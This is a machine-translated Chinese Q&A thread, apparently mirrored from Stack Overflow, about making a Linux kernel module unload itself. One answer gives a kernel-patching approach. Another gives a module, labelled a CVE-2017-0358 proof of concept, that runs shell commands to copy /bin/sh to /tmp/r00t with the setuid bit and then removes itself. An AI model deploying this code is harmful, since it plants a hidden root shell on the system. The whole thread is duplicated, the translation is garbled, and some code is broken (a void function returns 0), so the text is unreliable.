内核模块如何卸载自身而不在内核日志中产生错误?
How can a kernel module unload itself without generating errors in kernel log?
我制作了一个在加载时打印 GDT 和 IDT 的简单模块。完成工作后,就不再需要它了,可以将其卸载。但是如果它 returns 一个负数以停止加载, insmod
会报错,并且会在内核日志中记录一条错误消息。
内核模块如何优雅地卸载自身?
据我所知,库存内核是不可能的(您可以按照我在下面描述的那样修改模块加载器核心,但这可能不是一件值得依赖的好事)。
好的,所以我看了一下模块加载和卸载代码(kernel/module.c
) as well as several users of the very-suspiciously named module_put_and_exit
。好像没有内核模块可以做你想做的事。所有这些在模块的上下文中启动 kthreads,然后在完成某事后终止 kthread(它们不会自动卸载模块)。
不幸的是,执行大量模块卸载的函数 (free_module
) 是在 kernel/module.c
中静态定义的。据我所知,没有从模块中调用 free_module
的导出函数。我觉得这可能有一些原因(尝试从自身卸载模块很可能会导致页面错误,因为需要释放包含模块代码的页面)。虽然这可能可以通过制作一个 noreturn
函数来解决,该函数只是 schedule
s 在防止当前(无效)任务再次 运行 之后(或者只是 运行ning do_exit
).
还有一点要问:你确定要这样做吗?你为什么不直接制作一个 shell 脚本来加载和卸载模块并收工呢?根据我的喜好,自动卸载模块可能有点太接近天网了。
编辑:如果您不介意修改模块加载器核心,我已经尝试了一些,并且找到了一种方法来执行此操作。将此函数添加到 kernel/module.c
,并对 include/linux/module.h
进行必要的修改:
/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
free_module(mod);
do_exit(0);
/* We should never be here. */
BUG();
}
EXPORT_SYMBOL(__purge_module);
用 __purge_module(THIS_MODULE)
调用它会卸载您的模块并且不会导致页面错误(因为您没有 return 到模块的代码)。但是,我仍然不建议这样做。我已经完成了一些简单的容量测试(我插入了一个使用此函数的模块约 10000 次以查看是否存在任何资源泄漏——据我所知没有)。
哦,你一定可以做到:)
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358@gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}
void cleanup_module(void) {
return 0;
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}
我制作了一个在加载时打印 GDT 和 IDT 的简单模块。完成工作后,就不再需要它了,可以将其卸载。但是如果它 returns 一个负数以停止加载, insmod
会报错,并且会在内核日志中记录一条错误消息。
内核模块如何优雅地卸载自身?
据我所知,库存内核是不可能的(您可以按照我在下面描述的那样修改模块加载器核心,但这可能不是一件值得依赖的好事)。
好的,所以我看了一下模块加载和卸载代码(kernel/module.c
) as well as several users of the very-suspiciously named module_put_and_exit
。好像没有内核模块可以做你想做的事。所有这些在模块的上下文中启动 kthreads,然后在完成某事后终止 kthread(它们不会自动卸载模块)。
不幸的是,执行大量模块卸载的函数 (free_module
) 是在 kernel/module.c
中静态定义的。据我所知,没有从模块中调用 free_module
的导出函数。我觉得这可能有一些原因(尝试从自身卸载模块很可能会导致页面错误,因为需要释放包含模块代码的页面)。虽然这可能可以通过制作一个 noreturn
函数来解决,该函数只是 schedule
s 在防止当前(无效)任务再次 运行 之后(或者只是 运行ning do_exit
).
还有一点要问:你确定要这样做吗?你为什么不直接制作一个 shell 脚本来加载和卸载模块并收工呢?根据我的喜好,自动卸载模块可能有点太接近天网了。
编辑:如果您不介意修改模块加载器核心,我已经尝试了一些,并且找到了一种方法来执行此操作。将此函数添加到 kernel/module.c
,并对 include/linux/module.h
进行必要的修改:
/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
free_module(mod);
do_exit(0);
/* We should never be here. */
BUG();
}
EXPORT_SYMBOL(__purge_module);
用 __purge_module(THIS_MODULE)
调用它会卸载您的模块并且不会导致页面错误(因为您没有 return 到模块的代码)。但是,我仍然不建议这样做。我已经完成了一些简单的容量测试(我插入了一个使用此函数的模块约 10000 次以查看是否存在任何资源泄漏——据我所知没有)。
哦,你一定可以做到:)
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358@gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}
void cleanup_module(void) {
return 0;
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}